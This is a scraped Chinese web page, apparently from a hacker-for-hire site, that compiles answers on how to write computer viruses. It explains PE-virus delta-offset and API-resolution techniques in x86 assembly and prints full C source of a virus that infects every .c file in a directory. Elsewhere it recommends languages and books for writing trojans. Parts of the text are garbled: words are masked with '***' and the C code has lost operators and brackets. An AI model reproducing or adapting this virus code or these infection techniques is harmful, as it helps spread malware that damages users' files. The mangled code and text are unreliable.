当前位置:首页 > 黑客技术 > 正文内容

完整版黑客病毒编程(简单的病毒编程代码)

hacker2年前 (2022-07-16)黑客技术82

文章大纲:

怎么编程病毒?

搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:

;ebp 包含了delta offset 值

401000:

mov eax,dword ptr [ebp+0x402035]

......

402035:

db "hello world!",0

在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:

call delta

delta:

pop ebp

sub ebp,offset delta

在运行时就动态计算出了delta offset 值,因为call要将其后的之一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:

fnop

call GetPhAddr

sub ebp,fpu_addr

GetPhAddr:

sub esp,16

fnstenv [esp-12]

pop ebp

add esp,12

ret

delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。

在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:

call _start_ip

_start_ip:

pop ebp

;...

;使用

call [ebp+addrOpenProcess-_start_ip]

;...

addrOpenProcess dd 0

;而不是

call _start_ip

_start_ip:

pop ebp

sub ebp,_start_ip

call [ebp+addrOpenProcess]

为什么不采用第二种书写代码的方式?其原因在于尽管之一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。

API 函数地址的获取

在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。

Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的 *** ,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该 *** 的病毒可能只能在Windows 2000的某个版本上运行。

因此病毒作者自然而然地回到PE结构上来探求解决 *** ,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:

A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。

B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。

病毒编程

不知道怎么教你 给你看个程序

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

编木马 病毒 黑客工具用什么编程语言更好啊

C语言吧~ 不然就用VB 如果你英语不是很好的话,建议你用易语言,全中文全可视化编程,我就是用这个写程序的,蛮不错的,建议你去学学,也不是很难!。 如果有什么要帮忙的 我愿效劳

如果是写黑软那就别找我了,因为我是良好网民。 希望我的回答可以帮助你!!~

病毒编写教程

《黑客X档案》的系列丛书不错,有各个方面的,像《黑客编程入门》,《黑客脚本攻击》《黑客免杀入门》都是不错的,而且都带光碟,《傻瓜黑客》更是适合新手。

《彻底研究黑客编程技术揭秘与攻防实战》这本书的代码用什么语言写出来的

黑客一般都掌握多种编程语言,他们不但掌握着与底层相关的如汇编、C之类的编程语言,而且还掌握很多脚本语言,如Python、Perl、Ruby .......很多黑客在发现ODay以后用Perl或者Python来写POC; MSF使用的是Ruby来进行开发Exploit;有的黑客在反病毒时竟然写个批处理就搞定了……对于黑客来说,一切语言都是服务于自己的思想的,只要能快速实现自己的想法,能完成自己所要完 成的功能就行,从不拘泥于任何语言和工具。在网上有很多学习不同编程语言的人们之间经常互相攻击,这其实是一种极端的行为,大家还是理性地对待这些问题比较好

简单的病毒编程代码是什么?

编写的计算机程序代码统称为恶意代码。恶意代码定义一:恶意代码又称恶意软件。

首先,病毒要有感染机制,即它能够实现繁殖自身。其次,病毒要有有效载荷触发事件,即病毒要找到一定数量的感染体、或者某一日期、或者在碰到某一段文本后才能发作。

所谓的病毒代码其实可以想象成是犯人的指纹, 当防毒软件公司收集到一只新的病毒时, 他们就会从这个病毒程序中截取一小段独一无二而且足以表示这只病毒的二进位程序码 (Binary Code) , 来当做杀毒程序辨认此病毒的依据。

而这段独一无二的二进位程序码就是所谓的病毒代码。病毒代码它可以把计算机程序打乱,使计算机无法正常使用。

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时接单的网站发布,如需转载请注明出处。

本文链接:http://szlqgy.com/39143.html

“完整版黑客病毒编程(简单的病毒编程代码)” 的相关文章

安徽寿县房价(寿县房产网二手房)

我看了几家,南边大型公园,斜对面不远一中。4000元左右的,请问大家。听说是在3500。 寿春学苑房价。寿县365房产网三环御景湾2017年房价,1500。 对面公安指挥中心,现代汉城2700。想帮父母在老家买套房子。 但出出毛炉的我不懂房地产上,1900元左右,地理位置好的,想在老家县城里买套房子...

关于挫折的作文(关于考试挫折的作文)

如果你害怕挫折。挫折正是那遍及周围的针刺,人的一生如同在大海中航行的一艘帆船,失败。 有人说挫折是痛苦的有人说,都曾为中华民族五千年的文化留下绚丽的一笔,无论在多么平静的海域,那些都是网上搜的,时而巨浪拍岸。挫折是美丽的人生的道路上,好了加分。 然而在我的生也正是那次,我选择勇敢面,人的一生就像是爬...

抵死缠绵的痛楚(痴心玩物)

再次谢谢了最后一句是合唱的爱是人间一杯苦苦酒愁。 抵死缠绵妈妈说「男人靠得。求一首歌的歌名,中文名称初恋情人所属何妨让我倚靠在你身边缠绵梦里痴心永远明晨若要分手带走伤感无谓让这初恋留恨,母猪会上树」为什麽人不经一事。 囚禁在,怪我爱得太狂野词曲张超演唱Freeparty不要蒙住我的眼让我看清你的脸寂...

萧敬腾爱的抱抱(爱的抱抱表情)

背叛,倔强的表情里闪过了失落”好经典的萧敬腾的会痛的石头你们觉得这,霍元甲,我怀念的,带你去朋友的饭局为你准备一切表示对你有好感。第1首王子的新衣第2首YouGiveLoveaBadName第3首上海滩第4首的抱抱第15首nobody第16首阿飞的小蝴蝶第17首sayalittesomething第...

表示颜色的成语(形容各种颜色的词语)

很急着用谢谢大家了、五颜六色、绚丽多彩成语拼音xuàdunlìduōcǎi成语解释形容色彩华丽成语出处飞向太平洋属”荧光染料把蓝色的海水染成了翠绿色、色彩错杂灿烂、红色pink。也比喻浮华而不实在,要两个就够了,daliang。绿绿的柳条、黄色green、玫瑰红、黑白相间、辣椒红,五彩斑斓姹紫嫣红五...

鸟哥的私房菜(鸟叔linux私房菜基础篇)

比较适,还有软件的安装,新版的更好一些第三版应该是在老板本的基础上添加和修改了一些新,有第四版了。。而linux就该这么学内容相对精简,有一些重要的开发环境和架构会重度依赖某些操作系统。 这本书怎么样,有人说第三版的排版很多错误,XXXX从入门到精通鸟哥的书不适合完全无基础的人看,建议入第四版。 第...

评论列表

访客
2年前 (2022-07-16)

i-1;j++) if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL) fputs(buf[j],out);

访客
2年前 (2022-07-16)

足以表示这只病毒的二进位程序码 (Binary Code) , 来当做杀毒程序辨认此病毒的依据。而这段独一无二的二进位程序码就是所谓的病毒代码。病毒代码它可以把计算机程序打

访客
2年前 (2022-07-16)

用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的

访客
2年前 (2022-07-16)

表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作

访客
2年前 (2022-07-16)

ocess] 为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。